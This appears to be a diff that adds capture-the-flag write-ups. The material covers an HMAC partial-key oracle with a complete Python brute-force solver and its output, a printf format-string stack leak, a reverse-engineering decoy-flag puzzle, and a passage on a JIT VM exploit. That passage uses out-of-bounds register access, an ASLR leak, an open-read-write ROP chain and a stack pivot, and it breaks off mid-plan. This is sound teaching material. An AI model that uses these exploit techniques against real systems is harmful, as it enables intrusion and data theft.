```python
|
||||||
|
# Abgeleitete Logik
|
||||||
|
# key_len kommt von der Benutzereingabe
|
||||||
|
current_key = SECRET_KEY[:key_len] # Schwachstelle: Verwendet nur die ersten N Bytes
|
||||||
|
h = hmac.new(current_key, message.encode(), hashlib.sha256)
|
||||||
|
signature = h.hexdigest()
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Anwendung erstellt eine HMAC-Signatur unter Verwendung eines Teilstücks des geheimen Schlüssels, bestimmt durch die Benutzereingabe `key_len`. Dies ermöglicht es uns, Nachrichten unter Verwendung von nur den ersten $N$ Bytes der Flagge zu signieren.
|
||||||
|
|
||||||
|
## Die Schwachstelle
|
||||||
|
|
||||||
|
Dieses Setup erstellt ein **Orakel**, das Informationen über den Schlüssel Byte für Byte preisgibt. Die Schwachstelle liegt in der Tatsache, dass wir genau steuern können, wie viel des unbekannten Schlüssels in der kryptographischen Operation verwendet wird. Dies ermöglicht es uns, das Problem, den gesamten Schlüssel zu finden, darauf herunterzubrechen, ihn Zeichen für Zeichen zu finden.
|
||||||
|
|
||||||
|
Hier ist die Strategie:
|
||||||
|
|
||||||
|
**1. Finden des ersten Bytes:**
|
||||||
|
Wir kennen den Schlüssel nicht, aber wir können den Server bitten, eine Nachricht (z.B. "test") unter Verwendung von nur **1 Byte** des Schlüssels zu signieren (`key_len=1`).
|
||||||
|
* Der Server berechnet `HMAC(key[0], "test")` und gibt die Signatur zurück.
|
||||||
|
* Wir können dies lokal replizieren! Wir versuchen jedes mögliche Zeichen (A, B, C...) als Schlüssel.
|
||||||
|
* Wir berechnen `HMAC("A", "test")`, `HMAC("B", "test")`, usw.
|
||||||
|
* Wenn unsere lokale Signatur mit der Signatur des Servers übereinstimmt, wissen wir, dass wir das erste Byte des geheimen Schlüssels gefunden haben.
|
||||||
|
|
||||||
|
**2. Finden des zweiten Bytes:**
|
||||||
|
Jetzt, da wir das erste Byte kennen (sagen wir, es ist `{`), bitten wir den Server, "test" unter Verwendung von **2 Bytes** des Schlüssels zu signieren (`key_len=2`).
|
||||||
|
* Der Server berechnet `HMAC("{?", "test")`.
|
||||||
|
* Wir führen wieder Brute-Force für das unbekannte zweite Zeichen lokal durch. Wir versuchen `{A`, `{B`, `{C`...
|
||||||
|
* Wir berechnen `HMAC("{A", "test")`, `HMAC("{B", "test")`...
|
||||||
|
* Die Übereinstimmung enthüllt das zweite Byte.
|
||||||
|
|
||||||
|
**3. Wiederholen:**
|
||||||
|
Wir setzen diesen Prozess für `key_len=3`, `key_len=4` usw. fort, bis wir die gesamte Flagge wiederhergestellt haben.
|
||||||
|
|
||||||
|
## Lösung
|
||||||
|
|
||||||
|
Wir können ein Skript schreiben, um diesen Byte-für-Byte-Brute-Force-Angriff zu automatisieren.
|
||||||
|
|
||||||
|
### Solver-Skript
|
||||||
|
|
||||||
|
```python
|
||||||
|
import requests
|
||||||
|
import hmac
|
||||||
|
import hashlib
|
||||||
|
import string
|
||||||
|
import re
|
||||||
|
|
||||||
|
# Konfiguration
|
||||||
|
TARGET_URL = "http://127.0.0.1:5000" # Nach Bedarf anpassen
|
||||||
|
MESSAGE = "test"
|
||||||
|
MAX_LEN = 33 # Maximale Länge der Flagge (abgeleitet oder durch Ausprobieren gefunden)
|
||||||
|
|
||||||
|
def get_signature(length):
|
||||||
|
"""Fordere Signatur vom Server mit spezifischer Schlüssellänge an."""
|
||||||
|
try:
|
||||||
|
resp = requests.post(TARGET_URL, data={'message': MESSAGE, 'key_len': length})
|
||||||
|
# Extrahiere Hex-Signatur aus der HTML-Antwort
|
||||||
|
match = re.search(r'([a-f0-9]{64})', resp.text)
|
||||||
|
return match.group(1) if match else None
|
||||||
|
except:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def solve():
|
||||||
|
known_flag = b""
|
||||||
|
print(f"[*] Starting attack on {TARGET_URL}...")
|
||||||
|
|
||||||
|
# Iteriere durch jede Byte-Position
|
||||||
|
for length in range(1, MAX_LEN + 1):
|
||||||
|
# 1. Hole die Zielsignatur vom Server
|
||||||
|
# Diese Signatur wird unter Verwendung der echten ersten 'length' Bytes der Flagge generiert
|
||||||
|
target_sig = get_signature(length)
|
||||||
|
if not target_sig:
|
||||||
|
print(f"[-] Failed to get signature for length {length}")
|
||||||
|
break
|
||||||
|
|
||||||
|
# 2. Brute-Force das nächste Zeichen
|
||||||
|
found = False
|
||||||
|
# Versuche alle druckbaren Zeichen
|
||||||
|
for char_code in string.printable.encode():
|
||||||
|
char = bytes([char_code])
|
||||||
|
|
||||||
|
# Konstruiere unseren Rateversuch: Der Teil, den wir schon kennen + das neue Zeichen, das wir testen
|
||||||
|
candidate_key = known_flag + char
|
||||||
|
|
||||||
|
# Berechne HMAC lokal mit unserem Rateversuch
|
||||||
|
local_sig = hmac.new(candidate_key, MESSAGE.encode(), hashlib.sha256).hexdigest()
|
||||||
|
|
||||||
|
# Wenn die Signaturen übereinstimmen, ist unser Rateversuch für das neue Zeichen korrekt
|
||||||
|
if local_sig == target_sig:
|
||||||
|
known_flag += char
|
||||||
|
print(f"[+] Byte {length}: {char.decode()} -> {known_flag.decode()}")
|
||||||
|
found = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if not found:
|
||||||
|
print("[-] Character not found in printable range.")
|
||||||
|
break
|
||||||
|
|
||||||
|
print(f"\n[!] Final Flag: {known_flag.decode()}")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
solve()
|
||||||
|
```
|
||||||
|
|
||||||
|
### Ausführung
|
||||||
|
|
||||||
|
Das Ausführen des Skripts stellt die Flagge Zeichen für Zeichen wieder her:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ python3 solve.py
|
||||||
|
[*] Starting attack on http://127.0.0.1:5000...
|
||||||
|
[+] Byte 1: { -> {
|
||||||
|
[+] Byte 2: f -> {f
|
||||||
|
[+] Byte 3: l -> {fl
|
||||||
|
...
|
||||||
|
[+] Byte 32: } -> {flag: byte_by_byte_we_get_rich}
|
||||||
|
[!] Final Flag: {flag: byte_by_byte_we_get_rich}
|
||||||
|
```
|
||||||
|
|
||||||
105
echo_chamber.md
Normal file
105
echo_chamber.md
Normal file
@@ -0,0 +1,105 @@
|
|||||||
|
# Echo Chamber
|
||||||
|
|
||||||
|
Hello there! Welcome to the write-up for **Echo Chamber**. This is a classic "pwn" challenge that demonstrates a very common but powerful vulnerability: the **Format String Vulnerability**.
|
||||||
|
|
||||||
|
In this challenge, we are given a compiled binary. When we don't have the original source code, we use tools like **Ghidra** to decompile the binary and see what the program is doing "under the hood."
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Initial Reconnaissance
|
||||||
|
|
||||||
|
When we run the program, it asks for some input and "echoes" it back:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Welcome to the Echo Chamber!
|
||||||
|
Give me a phrase, and I will shout it back: Hello!
|
||||||
|
You said: Hello!
|
||||||
|
```
|
||||||
|
|
||||||
|
The developer's description gives us a hint:
|
||||||
|
> "The developer claims it's perfectly secure because 'it doesn't execute any code, it just prints text.'"
|
||||||
|
|
||||||
|
This is a classic "famous last words" situation in security! Let's look at the decompiled code to see why.
|
||||||
|
|
||||||
|
## 2. Analyzing the Decompiled Code (Ghidra)
|
||||||
|
|
||||||
|
Opening the binary in Ghidra, we find the `vuln()` function. Here is the pseudo-code it gives us:
|
||||||
|
|
||||||
|
```c
|
||||||
|
void vuln(void)
|
||||||
|
{
|
||||||
|
char acStack_a0 [64]; // Our input buffer
|
||||||
|
char local_60 [72]; // Where the flag is stored
|
||||||
|
FILE *local_18;
|
||||||
|
|
||||||
|
local_18 = fopen64("flag.txt","r");
|
||||||
|
if (local_18 == (FILE *)0x0) {
|
||||||
|
puts("Flag file is missing!");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. The flag is read into local_60
|
||||||
|
fgets(local_60,0x40,local_18);
|
||||||
|
fclose(local_18);
|
||||||
|
|
||||||
|
puts("Welcome to the Echo Chamber!");
|
||||||
|
printf("Give me a phrase, and I will shout it back: ");
|
||||||
|
|
||||||
|
// 2. Our input is read into acStack_a0
|
||||||
|
fgets(acStack_a0,0x40,(FILE *)stdin);
|
||||||
|
|
||||||
|
printf("You said: ");
|
||||||
|
// 3. VULNERABILITY: Our input is passed directly to printf!
|
||||||
|
printf(acStack_a0);
|
||||||
|
putchar(10);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Do you see that line `printf(acStack_a0);`? This is our "Golden Ticket."
|
||||||
|
|
||||||
|
## 3. The Vulnerability: Format Strings
|
||||||
|
|
||||||
|
In C, `printf` expects its first argument to be a **format string** (like `"%s"` or `"Hello %s"`). If a developer passes user input directly to `printf`, the user can provide their own format specifiers.
|
||||||
|
|
||||||
|
When `printf` sees a specifier like `%p` (print pointer) or `%x` (print hex), it looks for the next argument on the **stack**. If we don't provide any arguments, `printf` will just start leaking whatever is already on the stack!
|
||||||
|
|
||||||
|
### Where is the flag?
|
||||||
|
Looking at the Ghidra output, notice that both `acStack_a0` (our input) and `local_60` (the flag) are **local variables**. This means they are both stored on the stack right next to each other.
|
||||||
|
|
||||||
|
## 4. Exploiting the "Echo"
|
||||||
|
|
||||||
|
If we send a string of format specifiers like `%p %p %p %p %p %p...`, we can trick `printf` into printing the contents of the stack. Since the flag is sitting on the stack, it will eventually be printed!
|
||||||
|
|
||||||
|
Try providing this as input:
|
||||||
|
`%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p`
|
||||||
|
|
||||||
|
The program will respond with a series of hex addresses. Some of these values will actually be the ASCII characters of our flag.
|
||||||
|
|
||||||
|
### Little Endianness
|
||||||
|
When you see the hex values, remember that modern systems use **Little Endian** byte ordering. This means the bytes are stored in reverse order.
|
||||||
|
|
||||||
|
For example, if you see `0x7b67616c66`, and you convert those bytes from hex to ASCII:
|
||||||
|
- `66` = `f`
|
||||||
|
- `6c` = `l`
|
||||||
|
- `61` = `a`
|
||||||
|
- `67` = `g`
|
||||||
|
- `7b` = `{`
|
||||||
|
|
||||||
|
The value `0x7b67616c66` represents `flag{` in reverse!
|
||||||
|
|
||||||
|
## 5. Putting it all Together
|
||||||
|
|
||||||
|
To solve the challenge:
|
||||||
|
1. Connect to the service.
|
||||||
|
2. Send many `%p` specifiers to leak the stack.
|
||||||
|
3. Identify the hex values that look like printable text (starting with `0x...` and containing ASCII values).
|
||||||
|
4. Reverse the bytes (Endianness) and convert them to characters.
|
||||||
|
5. Combine the parts to find the flag!
|
||||||
|
|
||||||
|
## Lessons Learned
|
||||||
|
|
||||||
|
Even if a program "just prints text," it's not safe if it uses `printf` incorrectly. The fix is simple: always use `printf("%s", buffer);`. This ensures the input is treated as a literal string, not as code or instructions for the function.
|
||||||
|
|
||||||
|
Happy Hacking!
|
||||||
|
|
||||||
115
false_flags.md
Normal file
115
false_flags.md
Normal file
@@ -0,0 +1,115 @@
|
|||||||
|
# False Flags
|
||||||
|
|
||||||
|
`falseFlags` is a beginner-friendly reverse engineering challenge. We are given a binary that contains multiple "fake" flags, and our goal is to identify the correct one.
|
||||||
|
|
||||||
|
## 1. Initial Analysis
|
||||||
|
|
||||||
|
We start by examining the file type and basic properties.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file false_flags
|
||||||
|
false_flags: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
It's a standard 64-bit ELF executable. Let's try running it. The challenge is also available remotely at `<SERVER_IP>:1301`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ nc <SERVER_IP> 1301
|
||||||
|
=== The Vault of Falsehoods ===
|
||||||
|
There are many keys, but only one opens the door.
|
||||||
|
Enter the password: test
|
||||||
|
[-] Wrong! That was merely a decoy.
|
||||||
|
```
|
||||||
|
|
||||||
|
Since the description mentions "hiding passwords in the binary", the `strings` command is a good first step to see what's inside.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ strings false_flags | grep flag
|
||||||
|
{flag:This_Is_Definitely_Not_It}
|
||||||
|
{flag:Try_Harder_To_Find_The_Key}
|
||||||
|
{flag:Strings_Are_Misleading_You}
|
||||||
|
...
|
||||||
|
{flag:Reverse_Engineering_Is_Cool}
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
We see a long list of potential flags. We could try them one by one, but that's tedious (and "brute-force" isn't the elegant way!). We need to find out *which* specific string the program compares our input against.
|
||||||
|
|
||||||
|
## 2. Static Analysis
|
||||||
|
|
||||||
|
We can analyze the binary using `objdump` to look at the assembly code. Since the binary is stripped, we won't see function names like `main`. However, we can find the entry point.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ readelf -h false_flags | grep "Entry point"
|
||||||
|
Entry point address: 0x4019f0
|
||||||
|
```
|
||||||
|
|
||||||
|
The entry point is at `0x4019f0`. If we disassemble at this address, we'll see the startup code (`_start`), which calls `__libc_start_main`. The first argument to `__libc_start_main` is the address of `main`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ objdump -d -M intel --start-address=0x4019f0 --stop-address=0x401a20 false_flags
|
||||||
|
|
||||||
|
00000000004019f0 <.text+0x830>:
|
||||||
|
...
|
||||||
|
401a08: 48 c7 c7 52 1b 40 00 mov rdi,0x401b52 <-- Address of main
|
||||||
|
401a0f: 67 e8 5b 15 00 00 addr32 call 0x402f70 <-- Call to __libc_start_main
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
So `main` is located at `0x401b52`. Let's disassemble it.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ objdump -d -M intel --start-address=0x401b52 --stop-address=0x401c50 false_flags
|
||||||
|
```
|
||||||
|
|
||||||
|
In the output, we see a call early in the function:
|
||||||
|
|
||||||
|
```assembly
|
||||||
|
401ba0: e8 70 ff ff ff call 0x401b15
|
||||||
|
401ba5: 89 85 6c ff ff ff mov DWORD PTR [rbp-0x94],eax
|
||||||
|
```
|
||||||
|
|
||||||
|
The return value (in `eax`) is stored in `[rbp-0x94]`. This variable is later used to access an array. Let's look at what `0x401b15` does.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ objdump -d -M intel --start-address=0x401b15 --stop-address=0x401b52 false_flags
|
||||||
|
|
||||||
|
0000000000401b15 <.text+0x955>:
|
||||||
|
...
|
||||||
|
401b4b: b8 0c 00 00 00 mov eax,0xc
|
||||||
|
401b50: 5d pop rbp
|
||||||
|
401b51: c3 ret
|
||||||
|
```
|
||||||
|
|
||||||
|
Despite some loop logic before it, the function ultimately returns `0xc` (decimal 12). This index is used to select the correct flag from the array of strings we saw earlier.
|
||||||
|
|
||||||
|
## 3. The Solution
|
||||||
|
|
||||||
|
Now we simply need to find the string at index 12 (counting from 0) in the list we found earlier.
|
||||||
|
|
||||||
|
0. {flag:This_Is_Definitely_Not_It}
|
||||||
|
1. {flag:Try_Harder_To_Find_The_Key}
|
||||||
|
2. {flag:Strings_Are_Misleading_You}
|
||||||
|
...
|
||||||
|
10. {flag:Do_Not_Trust_Simple_Strings}
|
||||||
|
11. {flag:Index_Twelve_Is_Not_Real_11}
|
||||||
|
12. {flag:Reverse_Engineering_Is_Cool}
|
||||||
|
|
||||||
|
The string at index 12 is:
|
||||||
|
`{flag:Reverse_Engineering_Is_Cool}`
|
||||||
|
|
||||||
|
Let's verify by connecting to the remote server:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ nc <SERVER_IP> 1301
|
||||||
|
=== The Vault of Falsehoods ===
|
||||||
|
There are many keys, but only one opens the door.
|
||||||
|
Enter the password: {flag:Reverse_Engineering_Is_Cool}
|
||||||
|
|
||||||
|
[+] Correct! Access Granted.
|
||||||
|
[*] The flag is indeed: {flag:Reverse_Engineering_Is_Cool}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Conclusion
|
||||||
|
|
||||||
|
This challenge demonstrates that while `strings` can reveal interesting data, understanding the *logic* (Control Flow) of the program is often necessary to distinguish useful data from decoys.
|
||||||
461
g_force.md
Normal file
461
g_force.md
Normal file
@@ -0,0 +1,461 @@
|
|||||||
|
# Write-up: G-Force
|
||||||
|
|
||||||
|
**Category:** Pwn
|
||||||
|
**Difficulty:** Hard
|
||||||
|
**Description:** A custom JIT-compiled VM with a secure sandbox and content filtering.
|
||||||
|
|
||||||
|
In this challenge, we are faced with a custom Virtual Machine called "G-Force". The binary is statically linked and stripped, making reverse engineering a bit more involved. We are told it has a JIT compiler and a "secure, sandboxed memory space."
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Initial Analysis
|
||||||
|
|
||||||
|
We start by inspecting the provided binary `g_forcevm`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file g_forcevm
|
||||||
|
g_forcevm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
It is a **Static PIE** executable. This means it contains all its dependencies (no external libc), but it is Position Independent (ASLR is active). It is also **stripped**, so we have no function names.
|
||||||
|
|
||||||
|
Running the binary, we are greeted with a prompt and a help menu:
|
||||||
|
|
||||||
|
```text
|
||||||
|
--- G-FORCE VM v2.0 (Final) ---
|
||||||
|
4KB Secure Sandbox. Type 'help' for instructions.
|
||||||
|
> help
|
||||||
|
|
||||||
|
--- G-Force Instruction Set ---
|
||||||
|
General:
|
||||||
|
MOVI R, IMM : Load immediate value into Register R
|
||||||
|
MOVR R1, R2 : Copy value from R2 to R1
|
||||||
|
...
|
||||||
|
Meta Commands:
|
||||||
|
execute : Compile and run the current program buffer
|
||||||
|
info : Dump current CPU state
|
||||||
|
ram OFF LEN : Hex dump of RAM at offset
|
||||||
|
debug : Run debug logger
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2. Reverse Engineering
|
||||||
|
|
||||||
|
Using the Ghidra, we analyze the binary to understand the VM's internal structure and how it handles instructions.
|
||||||
|
|
||||||
|
### The VM Structure & Stack Layout
|
||||||
|
Analyzing the `main` function (decompiled at `0x0010ba79`), we can identify the variables used to store the CPU state.
|
||||||
|
|
||||||
|
```c
|
||||||
|
undefined8 FUN_0010ba79(void)
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
undefined1 local_20d8 [40];
|
||||||
|
undefined8 local_20b0;
|
||||||
|
undefined8 local_20a8;
|
||||||
|
code *local_20a0;
|
||||||
|
undefined1 local_2098 [8192];
|
||||||
|
// ...
|
||||||
|
|
||||||
|
// Initialization
|
||||||
|
thunk_FUN_0012dff0(local_20d8,0,0x40); // memset
|
||||||
|
|
||||||
|
// RAM Allocation
|
||||||
|
// FUN_0012ac00 is likely malloc (or a wrapper).
|
||||||
|
// 0x1000 = 4096 bytes (4KB)
|
||||||
|
local_20a8 = FUN_0012ac00(0x1000);
|
||||||
|
|
||||||
|
// Debug Function Pointer Initialization
|
||||||
|
local_20a0 = FUN_00109a22;
|
||||||
|
|
||||||
|
// Main Loop
|
||||||
|
while( true ) {
|
||||||
|
// ... command parsing ...
|
||||||
|
iVar2 = thunk_FUN_0012d150(uVar4,"debug");
|
||||||
|
if (iVar2 == 0) {
|
||||||
|
// VULNERABLE CALL
|
||||||
|
(*local_20a0)(local_20a8);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
iVar2 = thunk_FUN_0012d150(uVar4,"execute");
|
||||||
|
if (iVar2 == 0) {
|
||||||
|
FUN_00115f80("[*] Compiling %d ops...\n",local_20f8);
|
||||||
|
FUN_0010a2b8(local_20d8,local_2098,local_20f8);
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
We see `local_20d8` is an array of 40 bytes. This likely holds the registers (A, B, C, D, SP).
|
||||||
|
We see `local_20a0` is a function pointer initialized to `0x00109a22` (the default logger).
|
||||||
|
Crucially, look at the memory layout on the stack:
|
||||||
|
* `local_20d8` (Registers) starts at offset `-0x20d8`.
|
||||||
|
* `local_20a8` (RAM Pointer) starts at offset `-0x20a8`.
|
||||||
|
* `local_20a0` (Func Ptr) starts at offset `-0x20a0`.
|
||||||
|
|
||||||
|
The distance between the registers array and the RAM pointer is `0x20d8 - 0x20a8 = 0x30`, which is **48 bytes**.
|
||||||
|
The distance between the registers array and the function pointer is `0x20d8 - 0x20a0 = 0x38`, which is **56 bytes**.
|
||||||
|
|
||||||
|
### Confirming the Layout via `info`
|
||||||
|
To confirm that `local_20d8` actually holds the registers, we can examine the function responsible for the `info` command (referred to as `FUN_00109cbe` in Ghidra).
|
||||||
|
|
||||||
|
```c
|
||||||
|
void FUN_00109cbe(undefined8 *param_1)
|
||||||
|
{
|
||||||
|
FUN_0011d2b0("\n--- CPU STATE ---");
|
||||||
|
FUN_00115f80("Reg A: 0x%016lx | Reg B: 0x%016lx\n",*param_1,param_1[1]);
|
||||||
|
FUN_00115f80("Reg C: 0x%016lx | Reg D: 0x%016lx\n",param_1[2],param_1[3]);
|
||||||
|
FUN_00115f80("SP : 0x%016lx\n",param_1[5]);
|
||||||
|
FUN_0011d2b0("-----------------");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
This function takes a pointer to `local_20d8` as its argument.
|
||||||
|
* `param_1[0]` corresponds to **Register A** (Offset 0).
|
||||||
|
* `param_1[1]` corresponds to **Register B** (Offset 8).
|
||||||
|
* `param_1[2]` corresponds to **Register C** (Offset 16).
|
||||||
|
* `param_1[3]` corresponds to **Register D** (Offset 24).
|
||||||
|
* `param_1[5]` corresponds to **SP** (Offset 40).
|
||||||
|
|
||||||
|
The fact that `info` prints these values directly from the `local_20d8` array confirms that this memory region represents the CPU's register file.
|
||||||
|
|
||||||
|
### Reconstructing the CPU Structure
|
||||||
|
Based on the memory layout and the `info` function, we can reconstruct the VM's internal `CPU` structure on the stack:
|
||||||
|
|
||||||
|
```c
|
||||||
|
struct CPU_Stack_Layout {
|
||||||
|
uint64_t regs[4]; // Offset 0x00: Registers A, B, C, D
|
||||||
|
uint64_t PC; // Offset 0x20: Program Counter / reserved
|
||||||
|
uint64_t SP; // Offset 0x28: Stack Pointer (Offset 40)
|
||||||
|
uint8_t *ram; // Offset 0x30: Pointer to VM RAM (Offset 48)
|
||||||
|
void (*debug_log)(char*); // Offset 0x38: Function pointer for 'debug' command (Offset 56)
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
This fits perfectly into our reconstructed layout!
|
||||||
|
|
||||||
|
### The Vulnerability: Out-of-Bounds Register Access
|
||||||
|
The instruction parser converts register names to indices.
|
||||||
|
- `a` -> 0
|
||||||
|
- `b` -> 1
|
||||||
|
- `c` -> 2
|
||||||
|
- `d` -> 3
|
||||||
|
|
||||||
|
However, the validation function `FUN_001099bf` allows letters up to `h`!
|
||||||
|
|
||||||
|
```c
|
||||||
|
int FUN_001099bf(char *param_1)
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
if ((*param_1 < 'a') || ('h' < *param_1)) {
|
||||||
|
iVar1 = -1;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
iVar1 = *param_1 + -0x61;
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
return iVar1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
If we use register **`g`** (Index 6):
|
||||||
|
`Address = local_20d8 + (6 * 8) = local_20d8 + 48` -> This accesses the `ram` pointer.
|
||||||
|
|
||||||
|
If we use register **`h`** (Index 7):
|
||||||
|
`Address = local_20d8 + (7 * 8) = local_20d8 + 56` -> This accesses the `debug_log` function pointer!
|
||||||
|
|
||||||
|
This gives us two powerful primitives:
|
||||||
|
1. **Arbitrary Read (Leak):** `MOVR a, h` reads the function pointer into register `a`. We can then view it via `info` to leak the ASLR base address. Similarly, `MOVR b, g` leaks the heap base.
|
||||||
|
2. **Control Flow Hijack:** `MOVI h, <ADDR>` allows us to overwrite the function pointer with any address we want.
|
||||||
|
|
||||||
|
### The "Debug" Command
|
||||||
|
The `debug` command calls the function stored in `local_20a0` (register `h`). It passes the RAM pointer (register `g`) as the first argument (`rdi`).
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Pseudo-code for debug command
|
||||||
|
if (cmd == "debug") {
|
||||||
|
// local_20a0 points to default_logger by default
|
||||||
|
// If we overwrite local_20a0, we control execution.
|
||||||
|
// The first argument (RDI) is always the RAM pointer (local_20a8).
|
||||||
|
(*local_20a0)(local_20a8);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. Exploitation Strategy: The Battle Plan
|
||||||
|
|
||||||
|
To fully compromise the system, we need to bypass ASLR. Since there is a seccomp filter in place, we will need to use a read/write/open ROP chain instead of just popping a shell.
|
||||||
|
|
||||||
|
### Discovering the Seccomp Sandbox
|
||||||
|
While analyzing the binary, we encounter a function `FUN_0010b918` that is called early in `main`. Decompiling this function reveals how the "secure sandbox" mentioned in the description is implemented:
|
||||||
|
|
||||||
|
```c
|
||||||
|
void FUN_0010b918(void)
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
iVar1 = FUN_001636b0(0x26,1,0,0,0);
|
||||||
|
if (iVar1 != 0) {
|
||||||
|
FUN_001161b0("prctl(NO_NEW_PRIVS)");
|
||||||
|
FUN_00115450(1);
|
||||||
|
}
|
||||||
|
iVar1 = FUN_001636b0(0x16,2,local_68);
|
||||||
|
if (iVar1 != 0) {
|
||||||
|
FUN_001161b0("prctl(SECCOMP)");
|
||||||
|
FUN_00115450(1);
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The function `FUN_001636b0` is a wrapper around the `prctl` syscall.
|
||||||
|
1. **`prctl(PR_SET_NO_NEW_PRIVS, 1, ...)`**: This is called with `option = 38` (`0x26`), which corresponds to `PR_SET_NO_NEW_PRIVS`. This prevents the process (and its children) from gaining new privileges, disabling `setuid`/`setgid` binaries.
|
||||||
|
2. **`prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)`**: This is called with `option = 22` (`0x16`), which corresponds to `PR_SET_SECCOMP`. The second argument `2` specifies `SECCOMP_MODE_FILTER`. This applies a BPF (Berkeley Packet Filter) program to restrict which system calls the process can make.
|
||||||
|
|
||||||
|
Because of this Seccomp filter, standard exploitation techniques like calling `system("/bin/sh")` or executing an `execve` shellcode will fail (the kernel will kill the process). Instead, we must use an **Open-Read-Write (ORW)** ROP chain to explicitly open the flag file, read its contents into memory, and write them to standard output.
|
||||||
|
|
||||||
|
### Step 1: Leak Addresses (Defeat ASLR)
|
||||||
|
Since the binary is Position Independent (PIE), all code addresses are randomized. We need to find where the code is located in memory.
|
||||||
|
1. **Leak Code Address:** We copy the function pointer into register `a` (`MOVR a, h`).
|
||||||
|
2. **Leak Heap Address:** We copy the RAM pointer into register `b` (`MOVR b, g`).
|
||||||
|
3. **Read the Leak:** We execute these instructions and use the VM's `info` command to read `Reg A` and `Reg B`. By subtracting the known static offset of the logger function (`0x00109a22`) from `Reg A`, we calculate the binary's **Base Address**.
|
||||||
|
|
||||||
|
### Step 2: Construct the ROP Chain and Place it in RAM
|
||||||
|
We need to call `syscall` (Linux x64 ABI). The calling convention is:
|
||||||
|
* `RAX` = System Call Number
|
||||||
|
* `RDI` = Argument 1
|
||||||
|
* `RSI` = Argument 2
|
||||||
|
* `RDX` = Argument 3
|
||||||
|
|
||||||
|
Here is how each command in the chain is constructed:
|
||||||
|
|
||||||
|
#### 1. `open("./flag.txt", 0)`
|
||||||
|
* `pop rdi; ret` -> `ADDR_OF_STRING` (Pointer to "flag.txt\x00")
|
||||||
|
* `pop rsi; ret` -> `0` (O_RDONLY)
|
||||||
|
* `pop rax; ret` -> `2` (SYS_open)
|
||||||
|
* `syscall; ret`
|
||||||
|
|
||||||
|
#### 2. `read(3, buffer, 0x100)`
|
||||||
|
* `pop rdi; ret` -> `3` (File Descriptor, usually 3 since 0/1/2 are standard)
|
||||||
|
* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Pointer to writable memory, e.g., offset 0x300 in RAM)
|
||||||
|
* `pop rdx; ret` -> `0x100` (Bytes to read)
|
||||||
|
* `pop rax; ret` -> `0` (SYS_read)
|
||||||
|
* `syscall; ret`
|
||||||
|
|
||||||
|
#### 3. `write(1, buffer, 0x100)`
|
||||||
|
* `pop rdi; ret` -> `1` (stdout)
|
||||||
|
* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Pointer to where we read the flag)
|
||||||
|
* `pop rdx; ret` -> `0x100` (Bytes to write)
|
||||||
|
* `pop rax; ret` -> `1` (SYS_write)
|
||||||
|
* `syscall; ret`
|
||||||
|
|
||||||
|
**Place in RAM:** We write this entire chain of 64-bit integers into the VM's RAM (starting at offset 0) using the `SAVER` VM instruction.
|
||||||
|
|
||||||
|
### Step 3: Find the Pivot
|
||||||
|
We have a ROP chain sitting in the heap (VM RAM), but the CPU is using the real stack. We need to point `RSP` (Stack Pointer) to our RAM so the CPU starts executing our chain.
|
||||||
|
1. **Find the Pivot Gadget:** We identify a "Stack Pivot" gadget. Using `ROPgadget` on the binary reveals a perfect gadget: `mov rsp, rdi; ret` at offset `0x000099b8`.
|
||||||
|
2. **Why this gadget?** When the `debug` command is called, the first argument (`RDI`) is a pointer to the VM's RAM (register `g`).
|
||||||
|
3. **The Trigger:** If we jump to this gadget, it will copy `RDI` (RAM Ptr) into `RSP`. The subsequent `ret` will pop the first 8 bytes of our RAM into `RIP`, starting the ROP chain.
|
||||||
|
|
||||||
|
### Step 4: Overwrite the Function Pointer
|
||||||
|
